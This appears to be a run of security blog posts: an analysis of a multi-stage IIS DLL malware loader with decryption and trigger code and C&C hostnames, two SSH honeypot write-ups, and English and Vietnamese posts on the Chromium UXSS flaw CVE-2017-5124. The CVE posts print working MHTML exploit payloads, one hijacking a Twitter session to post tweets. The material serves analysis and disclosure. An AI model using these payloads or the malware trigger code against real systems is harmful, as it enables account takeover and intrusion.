Hai file còn lại hoàn toàn không phải file thực thi. Do đó chúng ta có thể đoán: cachuri.dll sẽ được một module nào đó của IIS server(inetsrv) load lên. Sau khi load cachuri.dll, iisutil2.dll độc hại cũng được load vào bộ nhớ của tiến trình. iisutil2.dll có thể sẽ sử dụng tiếp 2 file còn lại cho mục đích nào đó. Đến bước này, chúng ta vẫn chưa chạy mẫu mà hoàn toàn chỉ là đoán. Guess it your way!

Thực hiện phân tích iisutil2.dll

File này bị obfuscate khá kĩ và gây khó khăn nhiều trong quá trình phân tích. Tuy nhiên, sau khi phân tích code, tôi nhận ra luồng thực thi chính của chương trình như sau:

Lấy địa chỉ các hàm: CreateFileW, ReadFile, RtlDecompressBuffer

Mở file iisexpressshim.sdb và Đọc toàn bộ nội dung của file.

Giải mã bằng thuật toán xor đơn giản

Trong đoạn dữ liệu sau khi giải mã, sẽ có cấu trúc như sau:

• 4 byte đầu: Kích thước dữ liệu trước khi nén
• Toàn bộ khối dữ liệu đã nén

Sau đó, chương trình sẽ giải nén toàn bộ nội dung của file bằng hàm RtlDecompressBuffer. Đến đây, ta đã unpack được lớp thứ nhất.

Chúng ta có thể mô tả toàn bộ quá trình này thông qua đoạn code python sau. Rất may là có 1 phiên bản giải nén lznt1 được implement hoàn toàn bằng python(https://twitter.com/nullandnull/status/772989022079586304) của Google. Thật quá tốt: https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'''Giải mã file iisexpressshim.sdb'''
import sys
import lznt1

def decrypt(buf):
	out = ''
	index = 0
	for c in buf:
		out += chr(ord(c) ^ (index % 0xff))
		index += 1
	return out

cdata = decrypt(open(sys.argv[1], 'rb').read())
open(sys.argv[1]+'.decrypted', 'wb').write(lznt1.decompress_data(cdata[4:]))

Kết quả giải mã

File PE này không lỗi, mặc dù VirtualSize, RawSize và RawAddress đều bằng 0 . Chỉ đơn giản, file này cần được load theo một cách khác. Tôi đọc thuật toán trong loader của chương trình và nhận ra: Chúng ta có thể tính toán các giá trị VirtualSize, RawSize và RawAddress hoàn toàn chỉ cần dựa vào VirtualAddress.

• VirtualSize = RawSize = (VirtualAddress của section sau - VirtualAddress của section trước)
• RawAddress = VirtualAddress

Sau khi fix lại code, file PE hoàn toàn đủ tiêu chuẩn để load vào IDA và đọc. Hoạt động của file này như sau:

• Tại DllMain, lấy image base của cachuri.dll
• Thay bảng export của cachuri.dll thành bảng export của mã độc.

Kĩ thuật này có ưu điểm:

• Có thể coi đây là một kĩ thuật nhằm thay thế file cachuri.dll bằng một file độc. Các hành vi độc hại nếu xuất hiện sẽ xuất hiện từ tiến trình của Inetsrv, chính xác hơn là bên trong cachuri.dll. Tuy nhiên, nếu chỉ quét trên đĩa bằng các antivirus thông thường thì hoàn toàn không thể phát hiện được. cachuri.dll vẫn có chữ kí bình thường của Microsoft.
• Một số chương trình EDR khi phát hiện hành vi độc hại sẽ gửi các file của tiến trình liên quan (file thực thi, DLL liên quan) về máy chủ để phân tích. Bằng cách này, người viết malware hoàn toàn tránh được các EDR.

Tôi tiếp tục debug nhưng có vẻ không thành công, vì chúng ta không có actor để trigger mã độc.

Thực hiện phân tích iisexpressshim.sdb

Tôi thử phân tích hoàn toàn bằng IDA và không sử dụng trình debugger. Khi phân tích hàm DllGetClassObject, tôi nhận thấy malware sử dụng tên của thư mục chứa nó như một CLSID. Trong code của chương trình cần query class có clsid này để lấy về đối tượng xử lý tương ứng.

Do đó, để có thể tạo một đối tượng thực thi độc hại, chúng ta cần tạo một tên thư mục với clsid bất kì và sử dụng nó. Các bước cụ thể như sau:

• Tạo một thư mục có tên là {CB8A1CEF-292D-421E-AC71-88451B5C7F2B}. Giá trị này tôi lấy ngẫu nhiên.
• Sử dụng đoạn code dưới đây để tạo object.

   CLSID    clsid_malware;
   LPVOID   ppv = NULL;
   HMODULE h = LoadLibraryA("cachuri.dll");
   DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
   HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
   hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
   printf("ppv = %p\n", ppv);
  

  Sau đoạn code này, chúng ta có đối tượng, tạm gọi là CMalware2 của mã độc. Tiếp tục phân tích các method của đối tượng này, tôi nhận thấy CMalware2 chỉ là object cơ sở, không implement một chức năng nào. Tôi thử phân tích hàm QueryInterface thì nhận ra nếu query với CLSID {839D7762-5121-4009-9234-4F0D19394F04} sẽ nhận được object CMalware1 của mã độc.

Tiếp tục phân tích, tôi phát hiện ra hàm làm việc chính của malware: hàm này có tác dụng load một file PE khác nằm trong logo.png và thực thi nó trên bộ nhớ. Để trigger tới chỗ này, tôi viết đoạn mã sau:

int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &clsid_malware);

	IMalware *malware_obj;
	hr = pMalware->QueryInterface(clsid_malware, (LPVOID*) &malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}

Để đơn giản quá trình, chúng ta sẽ để cho malware thực thi nốt phần còn lại của nó:

• Cấp phát bộ nhớ cho malware (VirtualAlloc)
• Giải mã toàn bộ malware lên memory
• Fixup relocation
• Resolve IAT. Chúng ta sẽ đặt breakpoint tại hàm GetProcAddress để dừng thực thi trong khi malware được resolve các hàm API
• Dump vùng mem trên ra bộ nhớ, và vì file này đã được mapping trên memory và có thay đổi, nên sử dụng cộng cụ pe_unmapper của hasherezade (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)

Dump file nhận được ra đĩa, chúng ta tạm gọi là logo.dll

Phân tích logo.dll

DLL này khá đơn giản với một hàm DllEntry. Chúng ta có thể coi đây là entrypoint của chương trình (Phân biệt với entrypoint của file).

Đây là mã giả của DllEntry:

 char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}

Sau khi phân tích, tôi nhận ra đây lại là một PE loader khác. Nhiệm vụ của đoạn code này như sau:

• Cấp phát và Giải mã một file PE được nhúng trong chương trình vào một vùng nhớ
• Resolve các địa chỉ API sẽ được sử dụng
• Thực thi entrypoint của file PE

Quá trình cấp phát và giải mã file thực thi cũng giống như các loader bình thường, tuy nhiên khi resolve địa chỉ các API, loader này đã bỏ đi tất cả các trường quan trọng trong file PE. Chúng ta không có header của file PE để có thể dump file xuống đĩa và phân tích như mọi khi. Chúng ta sẽ làm gì khi không có header??

Như thường lệ, khi đến được entrypoint của chương trình, tôi dùng x64dbg để dump memory xuống bộ nhớ. Có một lưu ý rằng mẫu này cấp phát tới 0x899400 bytes cho file PE mới. Lưu ý, trong bài viết của tôi, vùng nhớ được cấp phát là 0x800000.

Khi phân tích kĩ một chút, chúng ta nhận thấy loader bỏ qua 0x4E0000 bytes đầu tiên của vùng nhớ này (Chả hiểu để làm gì?).

Như tôi đã nói, các trường quan trọng bị xóa hết thông tin, chúng ta không có đủ thông tin để khôi phục file này.

Rebuild lại file

Chúng ta có 1 thông tin duy nhất: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.

Nếu để ý 1 chút, chúng ta có thể coi toàn bộ file PE này là 1 section. Do đó chúng ta có thể tạo một section cho file PE này như sau.

NumberOfSections = 1

Bước tiếp theo là fix bảng IAT, tôi sử dụng Scylla : https://github.com/NtQuery/Scylla

Sau khi điền đúng OEP tôi tìm thấy, Scylla lấy lại gần như toàn bộ bảng IAT của mã độc. Có 1 số hàm mà Scylla không resolve được, chúng ta cần fix lại cẩn thận bằng tay bằng chức năng Disassemble của Scylla.

Có một lưu ý nhỏ: Các malware sử dụng PE Loader sẽ có 1 số ảnh hưởng như sau:

• Nếu malware sử dụng các hàm dạng GetModuleHandle với tham số NULL (cả 2 version Ansi và Unicode) đều bị lỗi do hàm này trả về module handle của file ban đầu, không phải file mới được load.
• Handle của file mới được load sẽ không được hệ thống quản lý.

Do đó, malware sẽ phải tự viết hàm GetModuleHandle và điền vào bảng IAT. Chúng ta có thể nhìn thấy rõ đoạn kiểm tra: Nếu tham số đầu vào là NULL, hàm sẽ trả về địa chỉ 0xCE0000, chính là imagebase của chúng ta.

Sau khi resolve được đầy đủ các API

Cuối cùng, chúng ta fix lại vào file đã dump ra ban đầu. Lưu ý là Scylla không cho chúng ta sửa imagebase, do đó chúng ta sẽ phải sửa lại các địa chỉ RVA cho hợp lý.

Do imagebase không chuẩn nên phải chỉnh lại:

Đây là lớp cuối trong toàn bộ các lớp mã hóa nhằm bảo vệ file.

Bonus: C&C Server

1
2
3
4
5
6
7
8
cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531

Trong bài viết trước Lightweight SSH Honeypot, tôi đã mô tả về một dự án cho phép tôi xác định các máy tính đang bruteforce dịch vụ SSH trên thế giới. Tuy nhiên, có một số bạn đã inbox cho fanpage của tôi và mong muốn tôi viết rõ hơn, chi tiết hơn về các thứ mà tôi đã làm. Bài viết này tôi sẽ mô tả cụ thể phương pháp tôi đã làm cũng như đưa các đoạn chương trình tôi thực hiện để có thể hoạt động được.

Phát hiện những IP đang thực hiện bruteforce

Sử dụng phương pháp kiểm tra các kết nối đang mở bằng netstat

netstat là một tiện ích của linux cho phép chúng ta liệt kê tất cả các thông tin liên quan tới các kết nối tới máy tính. Chúng ta có thể kiểm tra các kết nối đang bruteforce tới máy tính bằng lệnh:

1
netstat -nat |  grep -v LISTEN | grep ":22"

Lệnh này sẽ liệt kê tất cả các kết nối TCP, lọc ra các kết nối tới cổng 22 (cổng mặc định của dịch vụ SSH). Do các máy bruteforce thường chỉ kết nối tới cổng mặc định nên các thao tác này đã khá đủ.

Sử dụng phương pháp kiểm tra log auth.log

“auth.log” là log chứa các thông tin khi có người dùng đăng nhập vào hệ thống. Đăng nhập thông qua SSH cũng sẽ được lưu vào đây. Chúng ta có thể kiểm tra các thông tin này bằng một lệnh đơn giản sau:

1
cat /var/log/auth.log | grep "authentication failures" | grep "rhost" | more

Lệnh này sẽ liệt kê toàn bộ các lượt đăng nhập sai (hoặc sai tên hoặc sai mật khẩu) thông qua SSH, và có kèm cả ngày giờ đăng nhập.

Xây dựng chương trình giả lập SSH server

Như đã trình bày trong bài viết trước, tôi có rất nhiều lựa chọn từ các dự án mã nguồn mở: Kippo hoặc Kojoney. Trong dự án này, tôi đã tự xây dựng hệ thống cho riêng mình dựa trên Twisted với thư viện Conch SSH. Các bước tôi làm như sau:

• Chỉnh sửa thư viện Conch của Twisted để tôi có thể ghi nhận các thông tin đăng nhập. Tôi sẽ đi chi tiết mục này do đây là phần khó nhất. 2 phần còn lại rất đơn giản, tôi chỉ sẽ không đi vào chi tiết. Khi có dữ liệu, việc hiển thị chỉ là thứ yếu.
• Lưu lại các thông tin đăng nhập vào database để có thể tra cứu về sau.
• Xây dựng một web đơn giản cho phép hiển thị các thông tin đã ghi nhận được và đánh dấu trên bản đồ.

Chỉnh sửa Conch

Thư viện Conch khá hoàn thiện, cho phép chúng ta xây dựng SSH server với đầy đủ các mô tả của giao thức SSH2. Tuy nhiên, chúng ta chỉ cần ghi nhận địa chỉ của máy thực hiện bruteforce, username và password là đủ. Chúng ta chưa cần phải thực hiện giả lập các thao tác sau khi hacker đăng nhập được vào hệ thống. Do đó, chúng ta sẽ luôn luôn trả về kết quả đăng nhập không thành công. Để làm điều này, tôi sẽ patch thư hiện Conch của Twisted bằng một lớp mới (AuthServerWithPeer) của tôi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class AuthServerWithPeer(userauth.SSHUserAuthServer):
    def auth_password(self, packet):
        password = getNS(packet[1:])[0] # parse nhận được trong quá trình authentication

        # Tạo một Object chứa các thông tin đăng nhập, object này phải phù hợp với interface
        # của hàm auth_password(). Hoàn toàn không hề có tài liệu mô tả chính xác cho interface này.
        # credentials.UsernamePassword là một implementation của interface nên tôi kế thừa class này
        # Để biết được interface này, tôi đã đọc mã nguồn của Conch.
        # Đây là ưu điểm của các ứng dụng mã nguồn mở do chúng ta luôn có source code của toàn bộ chương trình
        c = UsernamePasswordPeer(self.user, password, self.transport.getPeer()) 
        return self.portal.login(c, None, interfaces.IConchUser).addErrback(
            self._ebPassword)

# khởi tạo một instance của SSHFactory			
factory = SSHFactory()
# patch module SSH Authentication mặc định thành AuthServerWithPeer
factory.services[b'ssh-userauth'] = AuthServerWithPeer

UsernamePasswordPeer sẽ thực hiện ghi log khi có bất kì yêu cầu đăng nhập nào gửi tới server. Thông qua đọc mã nguồn, tôi biết được phương thức requestAvatarId sẽ nhận thông tin đăng nhập. Tôi đặt code ghi log vào đó.

Toàn bộ code của quá trình như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
@implementer(ICredentialsChecker)
class UsernamePasswordLogger(object):
    """
    A simple credentials logger.
    """

    credentialInterfaces = (credentials.IUsernamePassword,
                            credentials.IUsernameHashedPassword)

    def requestAvatarId(self, user_cred):
        self.write_log(user_cred)
        return defer.fail(error.LoginFailed())

    @staticmethod
    def write_log(cred):
        # thực hiện ghi log ở đây
        pass


class UsernamePasswordPeer(credentials.UsernamePassword):
    def __init__(self, username, password, peer):
        credentials.UsernamePassword.__init__(self, username, password)
        self.peer = peer


class AuthServerWithPeer(userauth.SSHUserAuthServer):
    def auth_password(self, packet):
        password = getNS(packet[1:])[0]
        c = UsernamePasswordPeer(self.user, password, self.transport.getPeer())
        return self.portal.login(c, None, interfaces.IConchUser).addErrback(
            self._ebPassword)


class SimpleRealm(object):
    def requestAvatar(self, avatarId, mind, *i):
        user = ConchUser()
        user.channelLookup['session'] = SSHChannel

        def nothing():
            pass

        return interfaces.IConchUser, user, nothing


factory = SSHFactory()
# patch module SSH Authentication mặc định thành AuthServerWithPeer
factory.services[b'ssh-userauth'] = AuthServerWithPeer
# sửa thông tin version của SSH cho giống với 1 server thật
factory.protocol.ourVersionString = 'SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4'
factory.privateKeys = {'ssh-rsa': privateKey}
factory.publicKeys = {'ssh-rsa': publicKey}
# thiết lập moduli file để khởi tạo cho server, nếu không thiết lập thì sẽ dùng các giá trị mặc định
if MODULI_FILE:
    factory.primes = primes.parseModuliFile(MODULI_FILE)
factory.portal = Portal(SimpleRealm())
factory.portal.registerChecker(UsernamePasswordLogger())
reactor.listenTCP(port=2022, factory=factory)
reactor.run()

Để tránh chương trình phải chạy với quyền root (do 22 là một cổng privileged port), tôi sẽ lắng nghe ở cổng 2022 sau đó dùng luật iptables để redirect kết nối từ cổng 22 về 2022.

1
 iptables -A PREROUTING -t nat  -p tcp -m tcp --dport 22 -j REDIRECT --to-ports 2022

Một cách phức tạp khác là chúng ta thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe.

Lưu các thông tin đăng nhập

Các thông tin đăng nhập có thể kể đến là :

1
2
3
4
5
6
login_info = { 
                'host': cred.peer.address.host,
                'username': cred.username,
                'password': cred.password,
                'last_update': int(time.time())
            }

Trong đó:

• host chứa địa chỉ của máy tính thực hiện bruteforce.
• username username đăng nhập.
• password password đăng nhập.
• last_update Thời gian đăng nhập.

Khi có các thông tin này, các bạn có thể sử dụng bất cứ một cơ sở dữ liệu nào để lưu, tôi sử dụng mongodb để lưu lại.

Xây dựng giao hiện hiển thị

Quá trình xây dựng giao hiện hiển thị khá đơn giản, gồm 2 phần là front-end và back-end

• front-end: Chúng ta cần hiển thị lên một bản đồ. Tôi dùng Google Maps API. Code sử dụng rất đơn giản và có sẵn trên mạng. Ngoài ra chúng ta cần một số bảng thống kê một số thông tin như: máy chủ quét nhiều nhất, cặp username - password được sử dụng nhiều nhất….
• back-end: Chúng ta cần một webservice để lấy các thông tin và hiển thị lên giao diện. Do tôi sử dụng mongodb nên mọi thứ khá đơn giản khi lấy về danh sách các host đã bruteforce. Tuy nhiên cần lưu ý rằng để thống kê với mongodb thì chúng ta phải tối ưu. Các bạn có thể thấy tuy số lượng bản ghi rất nhiều nhưng quá trình thống kê kết quả của tôi là realtime và tốc độ khá nhanh. Tôi thực hiện điều này bằng cách sử dụng tính năng aggregate của mongodb. Aggregate của mongodb cho phép chúng ta xây dựng các pipeline để tính các giá trị thống kê. Một số bạn chưa biết tính năng này sẽ query dữ liệu về dưới dạng 1 list hoặc dùng cursor để walk và đếm. Cách đó hoàn toàn không đúng và sẽ làm treo toàn bộ mọi thứ.

Kết quả

Tôi bắt đầu vào ngày 26 tháng 3 và tới nay đã có hơn 495000 lượt bruteforce, từ hơn 1867 ip khác nhau và sử dụng trên 90000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:

https://develbranch-lsh.herokuapp.com/lsh

Gần đây, tôi có dựng một VPS để tổ chức CTF. Tôi nhận ra rằng trong lúc setup iptable, tôi nhận được rất nhiều log kết nối tới cổng dịch vụ SSH (22) từ IP trên toàn thế giới. Chẳng có lý do gì để một máy chủ vừa dựng lên, đã có người biết đến nhanh như thế, ngoại trừ những người đó đang dùng các máy tính chuyên để quét cổng dịch vụ SSH (SSH bruteforce).

Chúng ta có nhiều cách để phát hiện những kẻ khó chịu này:

• kiểm tra các kết nối đang mở bằng netstat -ntl
• kiểm tra log ssh (auth.log)
• cài đặt suricata
• …

Tôi quyết định xem thật sự đang có những tài khoản nào đăng nhập vào dịch vụ SSH của tôi. Tôi dựng một honeypot đơn giản: LSH - Lightweight SSH Honeypot. Có nhiều dự án mã nguồn mở khác tương tự thế này: Kippo hoặc Kojoney. Chúng khá phức tạp và nhiều tính năng hay ho. Tôi cần một thứ đơn giản hơn. Tôi dùng Twisted với thư viện Conch SSH. Tôi sử dụng SSHFactory của Conch, chỉnh sửa một chút để tôi có thể ghi lại các thông tin đăng nhập (username và password). Tôi bắt đầu bật service ở cổng 2022, redirect kết nối từ cổng 22 về 2022 do cổng 22 là privileged port. Mọi tiến trình muốn sử dụng privileged port đều phải có quyền root, hoặc chúng ta cần thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe. Khi có các thông tin này, tôi sử dụng mongodb để lưu lại. Thật tuyệt vời là có nhiều hãng cung cấp dịch vụ database online như MongoDB Atlas hay mLab. Việc tiếp theo là tôi cần một dịch vụ để có thể deploy toàn bộ code lên đó. Tôi không muốn dựng thêm một dịch vụ gì trên VPS giá $3/tháng của tôi nữa. Tôi chọn heroku app (platform as a service (PaaS)) do tính tiện dụng của nó. Quan trọng hơn, heroku cho phép sử dụng free nếu chúng ta chỉ có một app duy nhất.

Kết quả

Tôi bắt đầu vào ngày 26 và trong vòng 1 tuần thì có hơn 15000 lượt bruteforce, từ hơn 60 ip khác nhau và sử dụng trên 10000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:

https://develbranch-lsh.herokuapp.com/lsh

Recently, the Chromium open source browser (version 62 and below) has a very serious vulnerability. UXSS with MHTML, CVE-2017-5124. The exploit code has also been published: https://github.com/Bo0oM/CVE-2017-5124.

What is Universal Cross-site Scripting (UXSS)?

Cross-site scripting (XSS) (https://www.acunetix.com/websitesecurity/cross-site-scripting/) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.

Hackers use UXSS to access every open session of the browser: hackers can read the cookies or sessions of opened tabs.

UXSS with MHTML (CVE-2017-5124)

This is a vulnerability in the Chromium when processing MHTML (HTML).

MHTML is a text document with a title, content-type (multipart / related), and a content separator (boundary), encoding (can be base64).

In the description of html, we can use Content-location to determine the source of the data. For example, we write Content-location: https://example.com/abc, which will be loaded from https://example.com/abc and displayed.

For security reasons, all javascript related data is forbidden and can not be executed from another location. This rule is checked everywhere, except for XSLT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----

The hacker can run alert () with the https://google.com domain and display a messagebox indicating the location corresponds to the script’s running script.

Some scenarios using UXSS with MHTML (CVE-2017-5124)

We will approach some “real” scenarios:

• Hack email: Bad guys can read emails, send mail with the user’s email address without their knowledge. Bank accounts are usually associated with an email address. If the email is compromised, the hacker will be able to read the account recovery codes or notifications from the bank, send fake emails or use this email to attack.
• Hackers can read and post posts under user accounts. I will use my Twitter account for testing.   The exploit code will tweet a message with the user’s Twitter account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://twitter.com" ></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

<script>

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I <3 fosec. @quangnh89 is my idol.');

</script>
------MultipartBoundary----

I have attacked CocCoc (66) and SamSung Internet browser.

Demo with CocCoc 66:

The browsers are affected by CVE-2017-5124

All browsers that use the Chromium (Chrome < 62) are affected. CocCoc version 66.4.134, a popular browser in Vietnam, which uses Chromium 60.4.3112.134 is vulnerable. Some browsers on SamSung phones made by the manufacturer itself can be exploited. Personally, for security purposes, we can temporarily stop using the browser until the problem is solved.

Timeline

Coc Coc Browser

• 05/12/2017: contacted CocCoc Company.
• 06/12/2017: Coc Coc Company confirmed. Currently, the latest version of CocCoc has been fixed.

SamSung Internet Browser 6.2.01.12

• 03/12/2017: Send email to SamSung Company
• 08/12/2017: SamSung thinks that this issue belongs to Google Chrome.

According to my tests, the browser SamSung Internet Browser 6.2.01.12 suffered a serious vulnerability. If your phone is not up to date, wait for a patch. Demo with SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM

Universal Cross-site Scripting (UXSS) là gì?

Lỗi cross-site scripting (XSS) attacks thường xuất hiện trên các website hoặc các ứng dụng web. Đây là lỗ hổng cho phép hacker có thể chèn những đoạn mã client-script (thường là Javascript hoặc HTML) vào trang web, khi người dùng vào những trên web này, mã độc sẽ được thực thi trên máy của người dùng. UXSS giống với XSS ở một số đặc điểm cơ bản: khai thác một lỗ hổng của ứng dụng web, thực thi mã độc, tuy nhiên vẫn có điểm khác nhau như sau: không giống như XSS là lỗ hổng nằm bên trong ứng dụng web, UXSS là loại lỗ hổng nằm bên trong trình duyệt, hoặc một phần mở rộng của trình duyệt. Loại lỗ hổng này tạo ra điều kiện giống như điều kiện xảy ra XSS, do đó có thể thực thi code độc hại. Khi lỗ hổng này bị khai thác, các tính năng bảo mật của trình duyệt sẽ bị vô hiệu hóa.

Hacker sử dụng UXSS để truy cập vào mọi phiên đang mở của trình duyệt: hacker có thể đọc được cookie hoặc session của các tab đang mở.

UXSS with MHTML (CVE-2017-5124)

Đây là một lỗi nằm trong nhân xử lý của Chromium khi xử lý định dạng MHTML (MIME-HTML) .

MHTML là tài liệu văn bản mà trong đó xác định rõ tiêu đề (title), content-type (multipart / related) và phần biên (ví dụ là ----MultipartBoundary--), sau đó được chia thành từng phần trong một file. Ngoài ra, có thể bổ sung một số thông tin như cách encode(base64 chẳng hạn).

Trong mô tả của html, chúng ta có thể sử dụng Content-location để xác định nguồn của dữ liệu. Ví dụ, chúng ta viết Content-location: https://example.com/abc, dữ liệu sẽ được trình duyệt đọc từ địa chỉ https://example.com/abc và hiển thị.

Để an toàn cho người dùng, tất cả các dữ liệu liên quan tới javascript đều bị cấm và không thể tải được từ một địa chỉ khác, ngoài domain người dùng đang truy cập. Điều này được Chromium kiểm tra ở mọi chỗ, trừ XSLT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----

Trong đoạn mã trên, hacker có thể chạy alert() với domain https://google.com và hiển thị một messagebox cho biết location tương ứng với ngữ cảnh script đang chạy.

Một vài kịch bản khai thác sử dụng UXSS with MHTML (CVE-2017-5124)

Nếu đơn thuần chỉ hiển thị một messagebox thì có lẽ cũng không cần quan tâm. Chúng ta sẽ tiếp cận một vài kịch bản “thực tế” hơn:

• Người dùng bị mất email: Người dùng hoàn toàn có thể bị kẻ xấu lợi dụng để đọc email, gửi thư bằng địa chỉ email của người dùng mà họ không hề hay biết. Hiện giờ, các tài khoản ngân hàng, tài khoản mạng xã hội thường gắn liền với một địa chỉ email. Nếu chiếm được email này, hacker hoàn toàn có thể đọc được các mã recover tài khoản hoặc các thông báo từ phía ngân hàng, gửi email giả mạo hoặc sử dụng email này làm bàn đạp để tấn công.
• Người dùng hoàn toàn có thể bị chiếm quyền điều khiển các tài khoản mạng xã hội: Hacker có thể đọc và đăng các bài post dưới tài khoản của người dùng. Tôi sẽ sử dụng tài khoản Twitter của tôi để thử nghiệm.
• Người dùng có thể mất tài khoản ngân hàng: nếu người dùng chỉ sử dụng trình duyệt và không có phương thức bảo vệ nào khác như OTP.

Mã khai thác sẽ tweet một thông điệp bằng tài khoản Twitter của người dùng.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
